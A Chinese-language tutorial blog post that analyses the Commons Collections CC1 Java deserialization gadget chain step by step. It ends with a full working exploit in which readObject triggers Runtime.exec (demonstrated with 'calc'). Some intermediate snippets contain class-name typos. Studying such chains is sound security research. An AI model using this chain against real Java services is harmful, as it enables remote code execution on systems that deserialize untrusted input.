java反序列化-CC1链 分析
java反序列化-CC1链 分析
- 首先我们再次明确一下反序列化的攻击思路。
入口类这里,我们需要一个 readObject 方法,结尾这里需要一个能够命令执行的方法。我们中间通过链子引导过去。所以我们的攻击一定是从尾部出发去寻找头的,流程图如下。
Common-Collections介绍
Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。
- 简单来说,Common-Collections 这个项目开发出来是为了给 Java 标准的
Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。
终点-利用点
CC1链的源头就是Commons Collections库中的Tranformer接口,这个接口里面有个transform方法。

快捷键ctrl+alt+B,查看实现接口的类

我们这里找到了有重写transform方法的InvokerTransformer类,并且可以看到它也继承了Serializable,很符合我们的要求。
下面给出InvokerTransformer类的构造器和重写的transform方法。
public class InvokerTransformer implements Transformer, Serializable {
/** The method name to call */
private final String iMethodName;
/** The array of reflection parameter types */
private final Class[] iParamTypes;
/** The array of reflection arguments */
private final Object[] iArgs;
private InvokerTransformer(String methodName) {
super();
iMethodName = methodName;
iParamTypes = null;
iArgs = null;
}
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
这边的参数都是可控的,同时重写的transform方法可以调用任意类的任意方法。
//这里我们回顾一下如何用反射调用Runtime的exec
Runtime r=Runtime.getRuntime();//Runtime.getRuntime() 是 Runtime 类中的一个静态方法,用来获取当前应用程序运行时的 Runtime 实例。
class c=r.getClass();
Method m=c.getMethod("exec",String.class);
m.invoke(r,"calc");
//接下来尝试用transform来调用
Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(r);
//总结:比较上面两种方式,下面的transform相当于模拟了上述的反射过程。

这里成功执行了命令,那么现在我们已经寻到入口点了,接下来需要一步步回溯,寻找合适的子类,构造漏洞链,直到到达重写了readObject的类。
所以我们下一步的目标是去找调用 transform 方法的不同名函数。
构造链子第一步-寻找transform调用处
寻找哪些类中的哪些方法调用了transform方法
右键查看用法即可
那么我们这里直接看到我们需要的TransformedMap类下的checkSetValue方法
下面我们直接给出构造器和checkSetValue方法
#TransformedMap.java
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}//接受参数,实例化TransformedMap这个类
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}//接受三个参数,第一个为Map,我们可以传入之前讲到的HashMap,第二个和第三个就是Transformer我们需要的了,可控。
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}//返回valueTransformer对应的transform方法,那么我们这里就需要让valueTransformer为我们之前的invokerTransformer对象。相当于就是让这里的valueTransformer=invokerTransformer!!!
但是这里我们发现构造器和checkSetValue方法都是protected权限的,只能本类内部访问,无法外部调用和实例化,那么我们就需要找到内部实例化的工具。也就是上面的一个public静态方法decorate。
我们可以通过调用decorate方法来实例化TransformedMap类,然后再想办法调用checkSetValue方法。
Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//invokerTransformer.transform(r);
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);
//静态方法staic修饰直接类名+方法名调用
//把map当成参数传入,然后第二个参数我们用不着就赋空值null,第三个参数就是我们之前的invokerTransformer.
Class<TransformedMap> transformedMapClass = TransformedMap.class;
Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValueMethod.setAccessible(true);
checkSetValueMethod.invoke(transformedmap,r);

构造链子第二步-寻找checkSetValue调用处
checkSetValue寻找用法,发现只有一处调用了checkSetValue(AbstractInputCheckedMapDecorator类的setValue)

static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
Entry代表的是Map中的一个键值对,而我们在Map中我们可以看到有setValue方法,而我们在对Map进行遍历的时候可以调用setValue这个方法

而上面副类MapEntry实际上是重写了setValue方法,它继承了AbstractMapEntryDecorator这个类,这个类中存在setValue方法,
public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue {
...
protected final Map.Entry entry;
...
public Object setValue(Object object) {
return entry.setValue(object);
}
而这个类又引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue方法,然后水到渠成地调用checkSetValue方法:
Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// invokerTransformer.transform(r); <--- 相当于下面的代码是模拟这行代码,实现相同的功能
HashMap<Object,Object> map=new HashMap<>();
map.put("meteorkai","meteorkai"); //给map一个键值对,方便遍历
Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);
//后面是要调用checkSetValue方法,那么可以通过遍历Map来调用setValue方法,然后水到渠成调用checkSetValue方法
for(Map.Entry entry:transformedmap.entrySet()){//遍历Map常用格式
entry.setValue(r);//调用setValue方法,并把对象r当作对象传入
}

到这里我们先重头理一下:
首先,我们找到了TransformedMap这个类,我们需要调用它的checkSetValue方法从而来调用transform方法,但是这个类的构造器和checkSetValue方法都是protected权限,只能从类中访问,所以我们需要用decorate方法来实例化这个类。在此之前我们需要实例化一个hashmap,因为decorate方法中需要传入,并且调用put方法给他赋值以便他遍历map从而调用setValue方法。然后把这个map当成参数传入,实例化成了一个transformedmap对象,这个对象也是Map类型的,然后我们对这个对象进行遍历,在遍历过程中我们可以调用setValue方法,而恰巧又遇到了重写的setValue的副类,这个重写的方法刚好调用了checkSetValue方法,这样就形成了一个闭环。
但这只是一个小插曲,终究不是我们所希望的readObject方法,我们需要一个readObject方法来代替上述的遍历Map功能。
构造链子第三步-寻找setValue调用处-链首
如果能找到一个 readObject() 里面调用了 setValue() 就太好了
老样子,setValue寻找用法。我勒个豆,直接发现一个调用了setValue的readObject方法。很完美的实现了代替之前Map遍历功能

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
//接受两个参数,第一个是继承了注解的class,第二个是个Map,第二个参数我们可控,可以传入我们之前的transformedmap类
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
可以看到这个类中的memberValues是可控的,这样我们就看传入自己需要的,然后实现setValue方法。根据前面的entry.setValue,那么这里的memberValue就要相当于entry,memberValues就相当于是transformedmap。
但是这里有个问题,就是我们可以看到定义这个类的时候,并没有public之类的声明,那么说明这个类只能在本包下被调用(sun.reflect.annotation),我们想要在外部调用,就需要进行反射。
public static void main(String[] args) throws Exception {
Runtime r=Runtime.getRuntime();
InvokerTransformer invokertransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//invokerTransformer.transform(r);
HashMap<Object,Object> map=new HashMap<>();
map.put("meteorkai","meteorkai");
Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokertransformer);
/*for(Map.Entry entry:transformedmap.entrySet()) {
entry.setValue(r);
}*/
//反射获取AnnotationInvocationHandler类
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);//获取构造器
constructor.setAccessible(true);//修改作用域
Object o=constructor.newInstance(Override.class,transformedmap);//这里第一个是参数是注解的类原型,第二个就是我们之前的类
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
但是,当我们满怀期待执行这串代码时,并没有弹出计算器!其实这段代码还是存在很多缺陷的。我们往下分析
弥补链子缺陷
一、Runtime类不能序列化

我们跟进Runtime类可以发现他并没有继承serializable接口,不能进行序列化。
此时我们可以通过反射来获取Runtime类的原型类,它的原型类class是存在serializable接口的,Runtime.class 是可以序列化的。
那么我们如何获得一个实例化对象呢?可以看到这里存在一个静态的getRuntime()方法,会返回一个Runtime对象,相当于是一种单例模式。
Class rr=Class.forName("java.lang.Runtime");//获取类原型
Method getRuntime=rr.getDeclaredMethod("getRuntime",null);//获取getRuntime方法
Runtime r=(Runtime)getRuntime.invoke(null,null);//获取实例化对象,因为该方法为无参方法,所以全为null
Method exec=rr.getDeclaredMethod("exec",String.class);//获取exec方法
exec.invoke(r,"calc");//执行命令
上述这样就可以实现序列化,那么接下来我们用transform来实现
Class rr=Class.*forName*("java.lang.Runtime");
/*Method getRuntime= rr.getDeclaredMethod("getRuntime",null);
Runtime r=(Runtime) getRuntime.invoke(null,null);
Method exec=rr.getDeclaredMethod("exec", String.class);
exec.invoke(r,"calc");*/
//利用transform方法实现上述代码
Method getRuntime=(Method)new Invokertransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);//这里模拟获取getRuntime方法,它的具体操作步骤类似之前
Runtime r=(Runtime)new Invokertransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);//这里模拟获取invoke方法
new Invokertransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);//这里模拟获取exec方法,并进行命令执行
但是这样要一个个嵌套创建参数太麻烦了,我们这里找到了一个Commons Collections库中存在的ChainedTransformer类,它也存在transform方法可以帮我们遍历InvokerTransformer,并且调用transform方法

Class rr=Class.*forName*("java.lang.Runtime");
//创建一个Transformer数值用于储存InvokerTransformer的数据,便于遍历
Transformer[] transformers=new Transformer[]{
new Invokertransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new Invokertransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new Invokertransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
//调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
ChainedTransformer chainedtransformer=new Chainedtransformer(transformers);
chainedtransformer.transform(Runtime.class);
第一个问题-Runtime类不能序列化-成功解决,但依然没有弹出计算器。
不只一个问题。
二、绕过AnnotationInvocationHandler类readObject方法中的判断条件

这里存在两处判断需要绕过
if (memberType != null) {
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
首先看第一个判断语句,是对memberType进行判断的。跟踪memberType,是从memberTypes来的,memberTypesu又是从annotationType.memberTypes();来的,而annotationType又是从annotationType = AnnotationType.getInstance(type);来的。
那么其实就是从type来的。

type其实是从构造器传参来的
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
再回头看我们对构造器的传参,发现type对应Override.class,这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称,而我们所使用的注解是没有成员变量的
Object o=constructor.newInstance(Override.class,transformedmap);

而我们发现另一个注解:Target中有个名为value的成员变量,所以我们就可以使用这个注解,并改第一个键值对的值为value即可通过两个判断。
但是依然不能弹计算器。
三、checkSetValue传入值不是Runtime.class

我们可以发现readObject方法中setValue传入的参数并不是Runtime.class,而是一个奇奇怪怪的东西。
- 我们这里找到了一个能够解决
setValue可控参数的类 ————ConstantTransformer。

我们看到这个类里面也有transform,和构造器配合使用的话,我们传入什么值,就会返回某个值,这样就能将value的值转为Runtime.class
因此接下来给出我们的最终EXP:
public static void main(String[] args) throws Exception {
Class rr=Class.forName("java.lang.Runtime");
//创建一个Transformer数值用于储存InvokerTransformer的数据,便于遍历
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),//这里解决问题三
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedtransformer=new ChainedTransformer(transformers);
//上述利用反射获取类原型+transformer数组+chainedtransformer遍历实现transform方法,来解决问题一中的无法序列化问题。
HashMap<Object,Object> map=new HashMap<>();
map.put("value","value");//这里是问题二中改键值对的值为注解中成员变量的名称,通过if判断
Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedtransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o=constructor.newInstance(Target.class,transformedmap);//这里是问题二中第一个参数改注解为Target
// serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}

成功弹出计算器。
接下来叙述一下整条cc1链的流程


浙公网安备 33010602011771号